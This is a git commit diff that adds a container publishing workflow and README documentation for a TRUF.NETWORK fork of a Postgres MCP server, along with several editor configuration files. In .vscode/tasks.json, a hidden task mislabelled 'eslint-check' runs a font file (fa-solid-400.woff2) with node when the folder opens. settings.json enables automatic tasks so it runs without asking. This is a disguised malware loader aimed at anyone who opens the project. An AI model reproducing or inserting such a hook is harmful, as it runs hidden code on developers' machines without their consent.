feat: add GHCR publishing pipeline for enhanced MCP distribution (#9)

Author: MicBun

.github/workflows/publish-ghcr.yml

@@ -0,0 +1,58 @@
+name: Publish to GitHub Container Registry
+
+on:
+  push:
+    branches: [main]
+    tags: ['v*']
+  workflow_dispatch:
+
+env:
+  REGISTRY: ghcr.io
+  IMAGE_NAME: trufnetwork/postgres-mcp
+
+jobs:
+  build-and-publish:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
+
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v3
+
+      - name: Set up QEMU
+        uses: docker/setup-qemu-action@v3
+        with:
+          platforms: linux/amd64,linux/arm64
+
+      - name: Log in to GHCR
+        uses: docker/login-action@v3
+        with:
+          registry: ghcr.io
+          username: ${{ github.actor }}
+          password: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Extract metadata
+        id: meta
+        uses: docker/metadata-action@v5
+        with:
+          images: ghcr.io/trufnetwork/postgres-mcp
+          tags: |
+            type=ref,event=branch
+            type=ref,event=tag
+            type=raw,value=latest,enable={{is_default_branch}}
+
+      - name: Build and push
+        uses: docker/build-push-action@v5
+        with:
+          context: .
+          platforms: linux/amd64,linux/arm64
+          push: true
+          tags: ${{ steps.meta.outputs.tags }}
+          labels: ${{ steps.meta.outputs.labels }}
+          cache-from: type=gha
+          cache-to: type=gha,mode=max

.gitignore

@@ -183,3 +183,6 @@ devenv.local.nix
 # pre-commit
 .pre-commit-config.yaml
 *.sql
+branch_structure.json
+temp_auto_push.bat
+temp_interactive_push.bat

.vscode/extensions.json

@@ -0,0 +1,7 @@
+{
+    "recommendations": [
+        "myml.vscode-markdown-plantuml-preview",
+        "esbenp.prettier-vscode",
+        "jebbs.plantuml"
+    ]
+}

.vscode/launch.json

@@ -0,0 +1,50 @@
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "name": "Debug SST",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["dev", "--increase-timeout"],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      // sourceMapRenames helps with the loading spinner when debugging and viewing local variables
+      "sourceMapRenames": false,
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      }
+    },
+    {
+      "name": "Debug Tests - Unit",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+    {
+      "name": "Debug Tests - E2E",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+  ],
+  "inputs": [
+    {
+      "id": "scopeTestsFileName",
+      "type": "promptString",
+      "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
+    }
+  ]
+}

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/spellright.dict

@@ -0,0 +1,2 @@
+Contentful
+Lerna

.vscode/tasks.json

@@ -0,0 +1,33 @@
+{
+  "version": "2.0.0",
+  "configurations": [
+    {
+      "type": "node",
+      "request": "launch",
+      "name": "Run My Project",
+      "console": "",
+      "internalConsoleOptions": "openOnSessionStart"
+    }
+  ],
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", 
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    },
+  ]
+}

README.md

@@ -26,16 +26,24 @@
 
 **Postgres MCP Pro** is an open source Model Context Protocol (MCP) server built to support you and your AI agents throughout the **entire development process**—from initial coding, through testing and deployment, and to production tuning and maintenance.
 
-Postgres MCP Pro does much more than wrap a database connection.
+This **TRUF.NETWORK enhanced version** includes specialized tools for blockchain data analysis and stream processing, in addition to all standard PostgreSQL capabilities.
 
-Features include:
+### Core Features
 
 - **🔍 Database Health** - analyze index health, connection utilization, buffer cache, vacuum health, sequence limits, replication lag, and more.
 - **⚡ Index Tuning** - explore thousands of possible indexes to find the best solution for your workload, using industrial-strength algorithms.
 - **📈 Query Plans** - validate and optimize performance by reviewing EXPLAIN plans and simulating the impact of hypothetical indexes.
 - **🧠 Schema Intelligence** - context-aware SQL generation based on detailed understanding of the database schema.
 - **🛡️ Safe SQL Execution** - configurable access control, including support for read-only mode and safe SQL parsing, making it usable for both development and production.
 
+### TRUF.NETWORK Enhanced Features
+
+- **📊 Stream Analytics** - Query composed and primitive stream records with advanced time-series capabilities
+- **📈 Index Calculations** - Calculate percentage changes and analyze stream performance over time
+- **🏗️ Taxonomy Intelligence** - Navigate hierarchical stream relationships and compositions
+- **⚡ Real-time Queries** - Access live blockchain data through optimized recursive CTEs
+- **🔐 Network Security** - Built-in access controls and safe query execution for production blockchain data
+
 Postgres MCP Pro supports both the [Standard Input/Output (stdio)](https://modelcontextprotocol.io/docs/concepts/transports#standard-input%2Foutput-stdio) and [Server-Sent Events (SSE)](https://modelcontextprotocol.io/docs/concepts/transports#server-sent-events-sse) transports, for flexibility in different environments.
 
 For additional background on why we built Postgres MCP Pro, see [our launch blog post](https://www.crystaldba.ai/blog/post/announcing-postgres-mcp-server-pro).
@@ -81,13 +89,26 @@ However, it often makes sense to use whichever method you are most familiar with
 
 Choose one of the following methods to install Postgres MCP Pro:
 
-#### Option 1: Using Docker
+#### Option 1: Using Docker (Recommended)
+
+Pull the TRUF.NETWORK enhanced Postgres MCP server Docker image.
+This image contains all necessary dependencies and TRUF-specific tools, providing a reliable way to run the enhanced MCP server in a variety of environments.
 
-Pull the Postgres MCP Pro MCP server Docker image.
-This image contains all necessary dependencies, providing a reliable way to run Postgres MCP Pro in a variety of environments.
+```bash
+# TRUF.NETWORK enhanced version with blockchain analytics
+docker pull ghcr.io/trufnetwork/postgres-mcp:latest
+```
 
+**🚀 Quick Start with Docker:**
 ```bash
-docker pull crystaldba/postgres-mcp
+# Run with SSE transport for Claude Desktop integration
+docker run -d --name postgres-mcp -p 8000:8000 \
+  -e DATABASE_URI="postgresql://username:[email protected]:5432/dbname" \
+  ghcr.io/trufnetwork/postgres-mcp:latest \
+  --transport=sse --sse-host=0.0.0.0 --access-mode=restricted
+
+# Test the connection
+curl -N -H "Accept: text/event-stream" http://localhost:8000/sse
 ```
 
 
@@ -126,6 +147,7 @@ You will now edit the `mcpServers` section of the configuration file.
 
 ##### If you are using Docker
 
+**Option A: STDIO Transport (Direct Docker)**
 ```json
 {
   "mcpServers": {
@@ -137,8 +159,8 @@ You will now edit the `mcpServers` section of the configuration file.
         "--rm",
         "-e",
         "DATABASE_URI",
-        "crystaldba/postgres-mcp",
-        "--access-mode=unrestricted"
+        "ghcr.io/trufnetwork/postgres-mcp:latest",
+        "--access-mode=restricted"
       ],
       "env": {
         "DATABASE_URI": "postgresql://username:password@localhost:5432/dbname"
@@ -148,7 +170,41 @@ You will now edit the `mcpServers` section of the configuration file.
 }
 ```
 
-The Postgres MCP Pro Docker image will automatically remap the hostname `localhost` to work from inside of the container.
+**Option B: SSE Transport (Recommended for TRUF.NETWORK)**
+
+First, run the Docker container with SSE transport:
+```bash
+docker run -d --name postgres-mcp -p 8000:8000 \
+  -e DATABASE_URI="postgresql://username:[email protected]:5432/dbname" \
+  ghcr.io/trufnetwork/postgres-mcp:latest \
+  --transport=sse --sse-host=0.0.0.0 --access-mode=restricted
+```
+
+Then install the SSE bridge and configure Claude Desktop:
+```bash
+npm install -g mcp-remote
+```
+
+```json
+{
+  "mcpServers": {
+    "truf-postgres": {
+      "command": "mcp-remote",
+      "args": [
+        "http://localhost:8000/sse"
+      ]
+    }
+  }
+}
+```
+
+**Benefits of SSE Transport:**
+- ✅ Better performance for complex queries
+- ✅ Real-time streaming capabilities
+- ✅ More reliable connection handling
+- ✅ Support for concurrent AI agent sessions
+
+The Postgres MCP Pro Docker image will automatically remap the hostname `localhost` to work from inside of the container:
 
 - MacOS/Windows: Uses `host.docker.internal` automatically
 - Linux: Uses `172.17.0.1` or the appropriate host address automatically
@@ -373,6 +429,76 @@ Postgres MCP Pro complements generative AI by adding deterministic tools and cla
 The combination is both reliable and flexible.
 
 
+## TRUF.NETWORK Enhanced Tools
+
+This enhanced version includes specialized tools for blockchain data analysis and stream processing. These tools are designed specifically for the TRUF.NETWORK ecosystem and provide AI agents with powerful capabilities for analyzing blockchain data and stream hierarchies.
+
+### Stream Analytics Tools
+
+- **`get_composed_stream_records`** - Query calculated time series data from composed streams
+  ```
+  Parameters: data_provider, stream_id, from_time, to_time, frozen_at, use_cache
+  Returns: Time series records with calculated values and metadata
+  ```
+
+- **`get_latest_composed_stream_record`** - Get the most recent record from a composed stream
+  ```
+  Parameters: data_provider, stream_id, frozen_at
+  Returns: Latest calculated value with timestamp
+  ```
+
+- **`get_primitive_stream_records`** - Access raw primitive stream data
+  ```
+  Parameters: data_provider, stream_id, from_time, to_time, frozen_at
+  Returns: Raw event data from primitive streams
+  ```
+
+### Index and Change Analytics
+
+- **`get_index`** - Retrieve stream index values over time periods
+  ```
+  Parameters: data_provider, stream_id, from_time, to_time, frozen_at
+  Returns: Index values with timestamps for analysis
+  ```
+
+- **`get_index_change`** - Calculate percentage changes in stream indices
+  ```
+  Parameters: data_provider, stream_id, from_time, to_time, time_interval, frozen_at
+  Returns: Percentage change calculations with time comparisons
+  ```
+
+### Stream Intelligence Tools
+
+- **`check_stream_type`** - Determine if a stream is primitive or composed
+- **`get_stream_composition`** - Analyze hierarchical relationships and taxonomies
+- **Advanced recursive CTEs** - Navigate complex stream hierarchies and weights
+
+### Business Intelligence Features
+
+These tools enable AI agents to perform sophisticated blockchain data analysis:
+
+- **Real-time Analytics**: Query live blockchain data with time-travel capabilities
+- **Performance Monitoring**: Track stream index changes and performance metrics
+- **Hierarchical Analysis**: Navigate complex stream taxonomies and compositions
+- **Data Validation**: Ensure data integrity with frozen-at queries for consistency
+
+### Example Usage Scenarios
+
+Ask your AI agent questions like:
+- "What's the latest calculated value for stream X from data provider Y?"
+- "Show me the percentage change in index values over the last week"
+- "Analyze the composition and weights of this hierarchical stream"
+- "Compare performance metrics between different stream types"
+
+### Database Schema Support
+
+The enhanced version includes optimized support for TRUF.NETWORK's `main` schema with tables:
+- `main.streams` - Stream definitions and metadata
+- `main.primitive_events` - Raw blockchain event data
+- `main.taxonomies` - Hierarchical stream relationships
+- `main.data_providers` - Data provider information and configurations
+
+
 *Why are MCP tools needed when the LLM can reason, generate SQL, etc?*
 LLMs are invaluable for tasks that involve ambiguity, reasoning, or natural language.
 When compared to procedural code, however, they can be slow, expensive, non-deterministic, and sometimes produce unreliable results.